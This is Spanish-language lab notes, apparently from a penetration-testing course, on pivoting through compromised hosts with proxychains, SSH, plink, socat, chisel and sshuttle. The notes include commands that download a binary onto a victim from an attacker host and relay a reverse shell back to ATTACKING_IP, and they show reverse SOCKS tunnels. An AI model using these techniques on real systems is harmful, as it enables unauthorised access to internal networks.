Pivoting

Proxychaing & Foxyproxy

Proxychains

Proxychains es una herramienta de línea de comandos que se activa anteponiendo proxychains antes de un comando, ejemplo:

proxychains nc 172.16.0.10 23

Observe que no se especificó un puerto proxy en el comando anterior, se debe a que proxychains lee sus opciones de un archivo de configuraciónen /etc/proxychains.conf.

Jjusto en la parte inferior del archivo están los servidores utilizados por el proxy. Puede configurar más de un servidor aquí para encadenar proxies juntos.

Si realiza un análisis de Nmap a través de proxychains, esta opción puede hacer que el análisis se bloquee. ¡Comenta la línea de proxy_dns usando un hashtag (#) al principio de la línea antes de realizar un escaneo a través del proxy!

Otras cosas a tener en cuenta al escanear a través de proxychains:

• Solo puede utilizar escaneos TCP, por lo que no hay análisis UDP o SYN. El empaquetador de eco ICMP (solicitudes ping) tampoco funcionará a través del proxy, así que utilice el modificador -Pn para evitar que Nmap lo intente.

FoxyProxy

Proxychains es una opción aceptable cuando se trabaja con herramientas cli, pero si se trabaja en un navegador web para acceder a una webapp a través de un proxy, hay una mejor opción disponible, a saber: FoxyProxy!

FoxyProxy es una extensión del navegador que está disponible para Firefox y Chrome. Hay dos versiones de FoxyProxy disponibles: Basic y Standard.

Después de instalar la extensión en su navegador de elección, haga clic en ella en su barra de herramientas:

Haga clic en el botón "Opciones". Esto le llevará a una página donde puede configurar los servidores proxy guardados. Haga clic en "Agregar" en el lado izquierdo de la pantalla:

Rellene la IP y el puerto en el lado derecho de la página que aparece y, a continuación, asígnele un nombre. Establezca el tipo de proxy en el tipo de proxy que va a utilizar.

Pulse Guardar y, a continuación, vuelva a hacer clic en el icono de la barra de tareas para abrir el menú proxy. Puede cambiar entre cualquiera de sus servidores proxy guardados haciendo clic en ellos:

SSH Tunnelling / Port Forwarding

Server: 10.200.81.10

Mi maquina: 10.50.82.71

Generar un par de llaves SSH

ssh-keygen

En el archivo ~/.ssh/authorized_keys copiar lo siguiente y adjuntando el archivo .pub creado anteriormente.

command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty {COPIAR LLAVE PUBLICA}

Verificar que el servicio está corriendo.

sudo systemctl status ssh

Si no está corriendo, lo levantamos.

sudo systemctl start ssh

Desde el servido, realizamos el reenvío de puertos.

ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN

Ejemplo:

ssh -R 8080:10.200.81.200:80 root@10.50.82.71 -i reverse-gazette -fN

En las versiones más recientes del cliente SSH, también es posible crear un proxy inverso. Esto puede no funcionar en clientes más antiguos, pero este comando se puede utilizar para crear un proxy inverso en los clientes que lo admiten, ejemplo:

ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN

Cerrar las conexiones

ps aux | grep ssh

Terminar proceso

sudo kill PID

plink.exe

Primero transferir el binario al objetivo y después realizar la conexión inversa, de la siguiente manera:

cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N

cmd.exe /c echo y inicia una shell no interactiva

Para utilizar nuestro ejemplo de antes, si tenemos acceso a 172.16.0.5 y nos gustaría reenviar una conexión a 172.16.0.10:80 de vuelta al puerto 8000 nuestra propia máquina de ataque (172.16.0.20), podríamos utilizar este comando:

cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N

Tenga en cuenta que las claves generadas por ssh-keygen no funcionarán correctamente aquí. Se tienen que convertir utilizando puttygen tool, que se puede instalar en Kali utilizando sudo apt instalar putty-tools. Después de descargar la herramienta, la conversión se puede hacer con: puttygen KEYFILE -o OUTPUT_KEY.ppk

Socat

En el directorio donde sé encuentre el binario, iniciamos un servidor http con python.

sudo python3 -m http.server 80

Descargamos socat en el equipo víctima

curl ATTACKING_IP/socat -o /tmp/socat-bin && chmod +x /tmp/socat-bin

Asignamos permisos de ejecución.

chmod +x socat-bin

Reverse Shell Relay

Nos ponemos en escucha en nuestra máquina atacante.

nc -lvnp 443

En el servidor comprometido, iniciamos la retransmisión.

./socat tcp-l:8000 tcp:ATTACKING_IP:443 &

• tcp-l:8000 escucha IPv4 en el puerto TCP 8000 de la máquina de destino.

• tcp:ATTACKING_IP:443 se conecta de nuevo a nuestra IP local en el puerto 443. El ATTACKING_IP obviamente necesita ser llenado correctamente para que esto funcione.

• & pone en segundo plano al oyente, convirtiéndolo en un trabajo para que podamos seguir usando el shell para ejecutar otros comandos.

Port Forwarding -- Easy

La forma rápida y fácil de configurar un port forwarding con socat es simplemente abrir un puerto de escucha en el servidor comprometido, y redirigir lo que entra en él al servidor de destino. Por ejemplo, si el servidor comprometido es 172.16.0.5 y el destino es el puerto 3306 de 172.16.0.10, podríamos usar el siguiente comando (en el servidor comprometido) :

./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &

Esto abre el puerto 33060 en el servidor comprometido y redirige la entrada desde la máquina atacante directamente al servidor de destino previsto, dándonos acceso al puerto 3306 que se ejecuta en nuestro objetivo de 172.16.0.10. La opción defork se utiliza para poner cada conexión en un nuevo proceso, y la opción reuseaddr significa que el puerto permanece abierto después de que se le haga una conexión. Combinados, nos permiten utilizar el mismo port forwarding para más de una conexión. Una vez más usamos & mandarlo a segundo plano, lo que nos permite seguir usando la misma sesión de terminal en el servidor comprometido para otras cosas.

Port Forwarding -- Quiet

Este método es más complejo, pero no requiere abrir un puerto externamente en el servidor comprometido. En primer lugar, en nuestra propia máquina de ataque, emitimos el siguiente comando:

socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &

Esto abre dos puertos: 8000 y 8001, creando un local port relay. Lo que entra en uno de ellos saldrá del otro. Por esta razón, el puerto 8000 también fork y las opciones de reuseaddr establecidas, para permitirnos crear más de una conexión utilizando este puerto hacia adelante.

A continuación, en el servidor de retransmisión comprometido (172.16.0.5 en el ejemplo anterior) ejecutamos este comando:

./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &

Esto hace una conexión entre nuestro puerto de escucha 8001 en la máquina atacante, y el puerto abierto del servidor de destino. Para utilizar la red ficticia desde antes, podríamos introducir este comando como:

./socat tcp:10.50.73.2:8001 tcp:172.16.0.10:80,fork &

Este es un escenario bastante complejo de visualizar, así que vamos a ver lo que sucede cuando intenta acceder a la página web en su navegador:

• La solicitud va a 127.0.0.1:8000

• Debido a socat que empezamos en nuestra propia máquina, cualquier cosa que entra en el puerto 8000, sale del puerto 8001

• El puerto 8001 está conectado directamente al proceso socat que ejecutamos en el servidor comprometido, lo que significa que todo lo que sale del puerto 8001 se envía al servidor comprometido, donde se retransmite al puerto 80 en el servidor de destino.

A continuación, el proceso se invierte cuando el destino envía la respuesta:

• La respuesta se envía al proceso socat en el servidor comprometido. Lo que entra en el proceso sale al otro lado, que pasa a enlazar directamente al puerto 8001 en nuestra máquina de ataque.

• Todo lo que entra en el puerto 8001 en nuestra máquina de ataque sale del puerto 8000 en nuestra máquina de ataque, que es donde el navegador web espera recibir su respuesta, por lo tanto la página se recibe y se representa.

¡Ahora hemos logrado lo mismo que antes, pero sin abrir ningún puerto en el servidor!

Chisel

Debe tener una copia adecuada del binario Chisel tanto en la máquina atacante como en el servidor comprometido. Copie el archivo en el servidor remoto con su elección de método de transferencia de archivos.

scp -i KEY chisel user@target:/tmp/chisel-USERNAME

Reverse SOCKS Proxy

Esto se conecta de nuevo desde un servidor comprometido a un puerto en escucha que espera en nuestra máquina de ataque.

En nuestra propia caja de ataque utilizaríamos un comando que se ve algo como esto:

./chisel server -p LISTEN_PORT --reverse &

En el host comprometido, utilizaríamos el siguiente comando:

./chisel client ATTACKING_IP:LISTEN_PORT R:socks &

Forward SOCKS Proxy

En primer lugar, en el host comprometido que utilizaríamos:

./chisel server -p LISTEN_PORT --socks5

En nuestra propia caja de ataque usamos:

./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks

Por ejemplo, el cliente ./chisel 172.16.0.10:8080 1337:socks se conectaría a un servidor chisel que se ejecuta en el puerto 8080 de 172.16.0.10. Se abriría un proxy SOCKS en el puerto 1337 de nuestra máquina de ataque.

Al enviar datos a través de cualquiera de estos proxies, tendríamos que establecer el puerto en nuestra configuración proxychains. Como Chisel utiliza un proxy SOCKS5, también tendremos que cambiar el inicio de la línea de socks4 a socks5:

Remote Port Forward

Para un remote port forward, en nuestra máquina de ataque utilizamos exactamente el mismo comando que antes:

./chisel server -p LISTEN_PORT --reverse &

Una vez más, esto configura un puerto de escucha con chisel para que el host comprometido se conecte de nuevo a. El comando de conectar hacia atrás es ligeramente diferente esta vez, sin embargo:

./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &

Puede reconocer que esto es muy similar al método de reenvío de puerto inverso SSH, donde especificamos el puerto local que se va a abrir, la IP de destino y el puerto de destino, separados por dos puntos. Tenga en cuenta la distinción entre el LISTEN_PORT y el LOCAL_PORT. Aquí el LISTEN_PORT es el puerto en el que iniciamos el servidor cincel, y el LOCAL_PORT es el puerto que deseamos abrir en nuestra propia máquina de ataque para enlazar con el puerto de destino deseado.

Supongamos que nuestra propia IP es 172.16.0.20, la IP del servidor comprometido es 172.16.0.5, y nuestro objetivo es el puerto 22 en 172.16.0.10. La sintaxis para reenviar 172.16.0.10:22 al puerto 2222 en nuestra máquina de ataque sería la siguiente:

./chisel client 172.16.0.20:1337 R:2222:172.16.0.10:22 &

Conexión de un servidor chisel:

./chisel server -p 1337 --reverse &

Esto nos permitiría acceder al 172.16.0.10:22 (vía SSH) navegando a las 127.0.0.1:2222.

Local Port Forward

En el objetivo comprometido configuramos un servidor cincel:

./chisel server -p LISTEN_PORT

Ahora nos conectamos a esto desde nuestra máquina de ataque de la siguiente forma:

./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT

Por ejemplo, para conectarse al 172.16.0.5:8000 (el host comprometido que ejecuta un servidor cincel), reenviando nuestro puerto local 2222 a 172.16.0.10:22 (nuestro objetivo previsto), podríamos usar:

./chisel client 172.16.0.5:8000 2222:172.16.0.10:22

sshuttle

El comando base para conectarse a un servidor con sshuttle es el siguiente:

sshuttle -r username@address subnet Por ejemplo, en nuestra red ficticia 172.16.0.x con un servidor comprometido en 172.16.0.5, el comando puede tener un aspecto similar al siguiente:

sshuttle -r user@172.16.0.5 172.16.0.0/24 En lugar de especificar subredes, también podríamos usar la opción-N que intenta determinarlas automáticamente en función de la propia tabla de enrutamiento del servidor comprometido:

sshuttle -r username@address -N

Con el modificador --ssh-cmd, podemos elegir un comando diferente para la autenticación: digamos, ssh -i keyfile, por ejemplo!

Por lo tanto, cuando se utiliza la autenticación basada en claves, el comando final tiene un aspecto similar al siguiente:

sshuttle -r user@address --ssh-cmd "ssh -i KEYFILE" SUBNET

Para utilizar nuestro ejemplo de antes, el comando sería:

sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24

Al usar sshuttle, es posible que encuentre un error que tenga este aspecto:

Para evitar esto, le decimos a Sshuttle que exlude el servidor comprometido del rango de subredes usando el modificador -x.

Para utilizar nuestro ejemplo anterior:

sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5

Conclusión

• Proxychains y FoxyProxy se utilizan para acceder a un proxy creado con una de las otras herramientas.

• SSH se puede utilizar para crear tanto port forwards, como proxies.

• plink.exe es un cliente SSH para Windows, lo que le permite crear reverse SSH inversas en Windows

• Socat es una buena opción para redirigir las conexiones, y se puede utilizar para crear port forwards de una variedad de maneras diferentes.

• Chisel puede hacer exactamente lo mismo que con el portforwarding/tunelización SSH, pero no requiere acceso SSH en la caja.

• sshuttle es una manera más agradable de crear un proxy cuando tenemos acceso SSH en un objetivo.